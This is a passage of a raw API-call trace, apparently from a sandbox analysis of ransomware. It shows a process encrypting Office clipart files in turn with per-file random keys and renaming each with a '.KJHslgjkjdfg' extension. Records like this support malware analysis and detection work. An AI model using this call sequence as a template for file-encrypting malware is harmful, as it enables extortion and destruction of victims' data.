CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.057] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.057] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.057] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.057] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.057] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.057] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.057] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.057] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.057] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.057] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xda6, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xda6, lpOverlapped=0x0) returned 1 [0158.057] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xdb0, dwBufLen=0xdb0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xdb0) returned 1 [0158.057] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.058] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xdb0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xdb0, lpOverlapped=0x0) returned 1 [0158.058] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.058] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xe84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.058] SetEndOfFile (hFile=0x114) returned 1 [0158.060] GetProcessHeap () returned 0x2a0000 [0158.060] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.060] GetProcessHeap () returned 0x2a0000 [0158.060] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.060] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf.kjhslgjkjdfg")) returned 1 [0158.062] CloseHandle (hObject=0x114) returned 1 [0158.062] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63bebd00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x63bebd00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x3a94, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS01635_.WMF", cAlternateFileName="")) returned 1 [0158.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.063] GetProcessHeap () returned 0x2a0000 [0158.063] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.063] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.063] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.063] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0158.068] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.068] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.068] GetProcessHeap () returned 0x2a0000 [0158.068] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.068] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0158.068] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.068] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.068] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.068] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.069] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.069] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.069] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.069] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.069] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.069] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.069] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3a94, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3a94, lpOverlapped=0x0) returned 1 [0158.070] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3aa0, dwBufLen=0x3aa0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3aa0) returned 1 [0158.070] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.070] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3aa0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3aa0, lpOverlapped=0x0) returned 1 [0158.071] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.071] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3b74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.071] SetEndOfFile (hFile=0x114) returned 1 [0158.073] GetProcessHeap () returned 0x2a0000 [0158.073] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.073] GetProcessHeap () returned 0x2a0000 [0158.073] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.074] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf.kjhslgjkjdfg")) returned 1 [0158.075] CloseHandle (hObject=0x114) returned 1 [0158.075] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe440e600, ftCreationTime.dwHighDateTime=0x1bd4bee, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe440e600, ftLastWriteTime.dwHighDateTime=0x1bd4bee, nFileSizeHigh=0x0, nFileSizeLow=0x752, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS01636_.WMF", cAlternateFileName="")) returned 1 [0158.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.076] GetProcessHeap () returned 0x2a0000 [0158.076] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.076] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.076] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.076] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0158.096] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.096] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.096] GetProcessHeap () returned 0x2a0000 [0158.096] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.096] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0158.096] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.096] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.096] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.096] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.096] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.097] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.097] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.097] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.097] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.097] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.097] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x752, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x752, lpOverlapped=0x0) returned 1 [0158.097] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x760, dwBufLen=0x760 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x760) returned 1 [0158.097] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.097] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x760, lpOverlapped=0x0) returned 1 [0158.097] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.097] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.097] SetEndOfFile (hFile=0x114) returned 1 [0158.100] GetProcessHeap () returned 0x2a0000 [0158.100] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.100] GetProcessHeap () returned 0x2a0000 [0158.100] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.100] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf.kjhslgjkjdfg")) returned 1 [0158.101] CloseHandle (hObject=0x114) returned 1 [0158.102] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x910b6b00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x910b6b00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0xf6c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS01637_.WMF", cAlternateFileName="")) returned 1 [0158.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.103] GetProcessHeap () returned 0x2a0000 [0158.103] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.103] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.103] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.103] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.105] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.105] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.105] GetProcessHeap () returned 0x2a0000 [0158.105] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.105] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0158.105] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.105] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.105] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.105] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.105] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.106] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.106] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.106] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.106] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.106] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.106] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xf6c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xf6c, lpOverlapped=0x0) returned 1 [0158.106] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xf70, dwBufLen=0xf70 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xf70) returned 1 [0158.106] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.106] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xf70, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xf70, lpOverlapped=0x0) returned 1 [0158.106] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.106] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1044, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.106] SetEndOfFile (hFile=0x114) returned 1 [0158.109] GetProcessHeap () returned 0x2a0000 [0158.109] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.109] GetProcessHeap () returned 0x2a0000 [0158.109] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.109] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf.kjhslgjkjdfg")) returned 1 [0158.110] CloseHandle (hObject=0x114) returned 1 [0158.111] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd16ae900, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd16ae900, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x292a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS01638_.WMF", cAlternateFileName="")) returned 1 [0158.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.111] GetProcessHeap () returned 0x2a0000 [0158.111] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.111] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.111] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.112] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0158.114] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.114] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.114] GetProcessHeap () returned 0x2a0000 [0158.114] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.114] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0158.114] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.114] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.114] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.114] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.114] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.114] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.114] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, 